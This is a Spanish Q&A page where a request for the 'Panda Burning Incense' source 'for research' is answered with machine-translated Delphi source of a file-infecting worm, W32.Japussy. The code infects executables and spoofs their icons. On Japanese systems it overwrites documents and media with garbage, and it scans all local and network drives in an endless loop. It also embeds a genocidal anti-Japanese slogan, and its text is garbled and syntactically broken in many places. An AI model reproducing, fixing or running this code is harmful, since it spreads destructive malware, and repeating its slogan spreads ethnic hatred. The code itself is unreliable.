Red de conocimiento informático - Espacio del host - Me gustaría obtener el código original de panda quemando incienso para investigar, ¡gracias!

Me gustaría obtener el código original de panda quemando incienso para investigar, ¡gracias!

Panda Burning Incense--Código fuente principal

----------------------------------- ---------- ---------------------------------------- -------

Código: -------------------------- -------- ------------------ -------------------------------- --

Código de programa

programa Japussy

usa

Windows, SysUtils, SysUtils, Clases, Gráficos, Clases Shell, Gráficos; , ShellAPI{, Registro};

const

HeaderSize = 82432; //El tamaño del cuerpo del virus

IconOffset = $12EB8; del icono principal del archivo PE

Compilado en mi Delphi 5 SP1, otras versiones de Delphi pueden ser diferentes

//Busque la cadena hexadecimal 2800000020 y encuentre el desplazamiento del icono principal

{

HeaderSize = 38912; //Tamaño del cuerpo del virus comprimido Upx

IconOffset = $92BC //Desplazamiento del icono principal del archivo PE comprimido Upx<; /p>

//Upx 1.24W método usado: upx -9 --8086 Japussy.exe

}

IconSize = $2E8 //El tamaño del archivo principal; icono del archivo PE - 744 bytes

IconTail = IconOffset + IconSize; //La cola del icono principal del archivo PE

ID = $4444444444 //Marca de infección

p>

//Código basura a escribir

Catchword = 'Si es necesario matar a una raza, debe ser Yamato. Tiene que ser Yamato.

' +

'¡Si un país necesita ser destruido, debe ser Japón! ' +

'*** W32.Japussy.Worm.A ***';

{$R *.RES}

función RegisterServiceProcess(dwProcessID , dwType: Entero):

stdcall; external 'Kernel32.dll'; //declaración de función

var

TmpFile: cadena

Si: STARTUPINFO;

Pi: PROCESS_INFORMATION;

IsJap: Boolean = False; //Marca del sistema operativo japonés

{ Determinar si es Win9x }

función IsWin9x:

var

Ver:

Ver: TOSVersionInfo

begin

<; p >Resultado := Falso;

Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);

si no es GetVersionEx(Ver) entonces

Salir; >

if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) entonces // Win9x

Resultado := Verdadero

fin

{ Copiar entre flujos de datos }

Procedimiento

procedimiento CopyStream(Src: TStream; sStartPos: Integer; Dst: Src: TStream; sStartPos: Integer; Dst: TStream;

dStartPos: Integer ; Contar:

var

sCurPos, dCurPos:

Src.Seek(sStartPos, 0

Dst.Seek( dStartPos); , 0);

Dst.CopyFrom(Src, Conde);

Src.

Dst.Seek(dCurPos, 0); p>end;

{Extraer el archivo host del archivo PE infectado para su uso}

Properced.

procedure ExtractFile(FileName: string

);

var

sStream, dStream:Create(FileName, fmCreate);

prueba

sStream.Seek(HeaderSize, 0); parte viral del encabezado

dStream.CopyFrom(sStream, sStream.Size - HeaderSize

finalmente

dStream.Free

fin;

finalmente

sStream.Fre

e; <

end;

excepto

end;

end;

{ Rellenar estructura STARTUPINFO }

procedimiento Rellenar estructura STARTUPINFO

Si.lpDesktop := nil

Si.lpTitle := nil

Si.dwFlags : = STARTF_USESHOWWINDOW;

Si.wShowWindow := Estado;

Si.cbReserved2 := 0

Si.lpReserved2 := nil; p>end;

{Enviar correo electrónico envenenado}

procedimiento SendMail;

comenzar

//¿Cuál de ustedes desea finalizar? ?

end;

{Archivo PE infectado}

proced.

procedimiento InfectOneFile(FileName: string

);

var

HdrStream, SrcStream:

IcoStream, DstStream: Buf.array[0..1] de Char

comenzar

intento //Error, entonces se está utilizando el archivo, sal

si CompareText(FileName, 'JAPUSSY.EXE') = 0 entonces //Es uno mismo, entonces no está infectado

Salir ;

Infectado := Falso;

IsPE := Falso

SrcStream := TFileStream.Read(Buf, 2

< p); >si (Buf[0] = #80) y (Buf[1] = #69) entonces // bandera PE

comenzar

IsPE := True // Es un; Archivo PE

Break;

end;

end;

SrcStream.Seek(-4, soFromEnd); flag

SrcStream.Read(iID, 4);

si (iID = ID) o (SrcStream.Size < 10240) entonces //archivo demasiado pequeño no infectado

p>

Infectado := Verdadero

finalmente

SrcStream.Free

fin

si está infectado; o (no IsPE) luego //salir si está infectado o no es un archivo PE

Salir

IcoStream := TMemoryStream.

DstStream := TMemoryStream.Create;

p>

prueba

aIcon := TIcon.ReleaseHandle

AIcon := TIcon.Releas;

eHandle.ReleaseHandle;

aIcon.Handle := ExtractIcon(HInstance, PChar(FileName),

aIcon.SaveToStream(IcoStream);

aIcon.

Gratis

end;

SrcStream := TFileStream.Create(FileName, fmOpenRead

);

//Encabezados

HdrStream := TFileStream.Create(ParamStr(0))Create(ParamStr(0), fmOpenRead o fmShareDenyNone

prueba

<); p>// Escribe datos antes del icono principal del virus

CopyStream(HdrStream, 0, DstStream, 0, IconOffset);

//Escribe el icono principal del programa actual

CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);

//Escribe los datos entre el icono principal del virus y la cola del virus

CopyStream (HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail

//Escribir en el programa anfitrión

CopyStream(SrcStream, 0, DstStream.

<); p>SrcStream .Free;

IcoStream.Free;

DstStream.SaveToFile( FileName); //reemplazar el archivo host

DstStream.Free

final;

excepto

final;

final; mientras escribe Eliminar el archivo de destino después del código basura}

procedure.

procedure SmashFile(FileName: string

var

FileHandle); :

p>

i, Tamaño, Masa, Máx., Longitud: Entero

comenzar

probar

SetFileAttributes(PChar(FileName; ), 0); //eliminar atributos de solo lectura

FileHandle := FileOpen(FileName, fmOpenWrite); //abre el archivo

prueba

Tamaño; := GetFileSize(FileHandle , nil); //Tamaño del archivo

i := 0

Aleatorio

Max := Aleatorio(15); /Escribir basura aleatoriamente Número de veces de código

si Max < 5 entonces

Max .= 5

Masa:= Tamaño div Max // Tamaño; de cada bloque de intervalo

Len := Longitud(Catchword

w);

mientras i < Max do

comienzo

FileSeek(FileHandle, i * Mass, 0); //Posicionamiento

//Escribe código basura para destruir completamente el archivo

FileWrite(FileHandle, Catchword, Len);

Inc(i);

función GetDrives: cadena

var <; /p >

Tipo de disco: Palabra;

D: Carácter;

Str: cadena

i: Entero; comenzar

para i := 0 a 25 hacer // Recorrer 26 letras

comenzar

D := Chr(i + 65

);

Str := D + ':';

DiskType := GetDriveType(PChar(Str));

//Obtener disco local y de red

si (DiskType = DRIVE_FIXED) o (DiskType = DRIVE_REMOTE) entonces

Resultado := Resultado + D

end

end;

{Recorrer el directorio, infectar y destruir archivos}

procedimiento LoopFiles(Path, Mask: string

var

i, Count: Integer); ;

Fn, Ext: cadena

SubDir: TStrings

SearchRec:

Mensaje: TMsg; p> función IsValidDir(SearchRec: TSearchRec):Entero;

comenzar

if (SearchRec. Attr <> 16) y (SearchRec.Name <> '. ') y

(SearchRec.Name <> '.') entonces

Resultado := 0 //no es un directorio

si no (SearchRec.Attr = 16) y ( SearchRec. Name <> '. ') y

(SearchRec.Name <> '.') luego

Resultado:= 1 //no el directorio raíz

else Resultado := 2; // Es el directorio raíz

end;

begin

if (FindFirst(Path + Mask, faAnyFile, SearchRec) ) = 0) luego

comenzar

repetir

PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //Ajusta la cola de mensajes para evitar sospechas;

si IsValidDir(SearchRec) = 0 entonces

comenzar

Fn := Ruta + SearchRec.

Ext := UpperCase(Extr

actFileExt(Fn));

si (Ext = '.EXE') o (Ext = '.SCR') entonces

comenzar

InfectOneFile(Fn); //Infectar archivo ejecutable

end

else if (Ext = '.HTM') o (Ext = '.HTML') o (Ext = ' .ASP') y luego

comience

// Infectar archivos HTML y ASP, escribiendo virus codificados en Base64 en ellos

// Infectar todos Ver esto Usuarios del página

// ¿Quién quiere hacer esto?

finalizar

else if Ext = '.WAB' entonces // archivo de libreta de direcciones de Outlook

comenzar

// Obtener correo electrónico de Outlook Dirección de correo electrónico

finalizar

de lo contrario, si Ext = '.ADC' entonces // archivo de autocompletar de dirección de Foxmail

comenzar

// Obtener Dirección de correo electrónico de Outlook

finalizar

de lo contrario, si Ext = '.ADC' entonces // archivo de autocompletar de dirección de Foxmail

comenzar

// Obtener la dirección de correo electrónico de Foxmail

end

si no, si Ext = 'IND' entonces //Archivo de la libreta de direcciones de Foxmail

comenzar

// Obtener la dirección de correo electrónico de Foxmail

end

else

begin

si IsJap entonces //es un sistema operativo bonobo

p>

comenzar

si (Ext = '.DOC') o (Ext = '.XLS') o (Ext = '.MDB') o

(Ext = '.MP3') o (Ext = '.RM') o (Ext = '.RA') o

(Ext = '.WMA') o (Ext = '.ZIP') o (Ext = '.ZIP') o (Ext = '.RAR') o

(Ext = '.MPEG') o (Ext = '.ASF') o (Ext = '.JPG' ) o

(Ext = '.JPEG') o (Ext = '.GIF') o (Ext = '.SWF') o

(Ext = '.PDF' ) o (Ext = '.CHM') o (Ext = '.

SmashFile (Fn); //destruye el archivo

end;

end

end;

end;

end;

// Suspender durante 200 milisegundos después de infectar o eliminar archivos para evitar el uso de la CPU. Se sospecha que la tasa es demasiado alta

Dormir (200);

hasta que (FindNext( SearchRec) <> 0

finalice; >FindClose(SearchRec);

SubDir := TStringList.Create

if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) entonces

comenzar

<

p>repetir

si IsValidDir(SearchRec) = 1 entonces

SubDir.Add(SearchRec.Name

hasta (FindNext(SearchRec) <> 0); );

end;

FindClose(SearchRec

Conteo:= SubDir.

Conteo:= SubDir.Count - 1; ;

para i := 0 para contar

LoopFiles(Path + SubDir.Strings[i] + '', Mask

FreeAndNil(SubDir); );

end;

{Recorrer todos los archivos en el disco}

procedimiento.

procedimiento InfectFiles

< p; >var

DriverList: cadena

i, Len: entero

comenzar

si GetACP = 932 entonces //SO japonés

IsJap := Verdadero

IsJap: = Verdadero

IsJap: = Verdadero

IsJap: = Verdadero

p>

Es japonés.//¡Vete al infierno!

DriverList := GetDrives; //Obtener la lista de discos grabables

Len := Longitud(DriverList

while True do //bucle muerto

comenzar

for i := Len downto 1 do //Iterar a través de cada unidad de disco

LoopFiles(DriverList[i] + ':', '*. *'); //fectado por la unidad de disco.*'); //infectado

SendMail; //Enviar correos electrónicos venenosos

Sleep(1000 * 60 * 5); /Dormir durante 5 minutos

fin

finalizar

{inicia el programa principal}

comenzar

comenzar

if IsWin9x

// ¿Quién quiere hacerlo?

end

// Si es el propio virus original

si CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 entonces

InfectFiles // Infecta y envía correos electrónicos.

TmpFile := ParamStr(0); //crea un archivo temporal

Delete(TmpFile, Longitud(TmpFile) - 4, 4);

TmpFile = TmpFile + #32 + '. exe'; //Archivo host real, un espacio más

ExtractFile(TmpFile); //Sepárelo

FillStartupInfo(Si, SW_SHOW);

DEFAULT);

CreateProcess (PChar(TmpFile), PChar(TmpFile), nil, nil, True,

0, nil, '.' , Si, Pi); crear un nuevo proceso para ejecutar

InfectFiles; //infectar y enviar por correo electrónico

end

end.